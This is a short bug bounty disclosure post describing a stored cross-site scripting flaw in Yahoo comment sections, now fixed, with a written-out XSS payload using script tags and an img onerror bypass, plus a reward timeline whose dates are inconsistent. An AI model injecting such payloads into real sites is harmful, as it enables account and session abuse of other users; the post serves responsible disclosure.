Stored XSS in Yahoo and all subdomains!

Hakim Bencella
1 min readMay 19, 2018

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This is Hakim Bencella (H4kst3r) , and im from ALGERIA.

I always believed that sharing is caring, and i have been learning from multiple security researchers in the bug bounty field ,
Now, I am going to share with how I found Stored Cross-Site Scripting (XSS)

in Yahoo (all domains where you can post a comment)

Steps to Reproduce :

Go to https://www.yahoo.com/*

Comment this payload:

<script>alert();</script>”><<script>alert();</script>img src=x onerror=alert();>

ANDD YEEAAH :D

Here is the video PoC:

Timeline :

27/11/2017— Initial Report.

30/10/2017 — Triaged + initial reward 300$

23/02/2018 — Bug Resolved. + $1200 bounty rewarded. ( Total $1500 )

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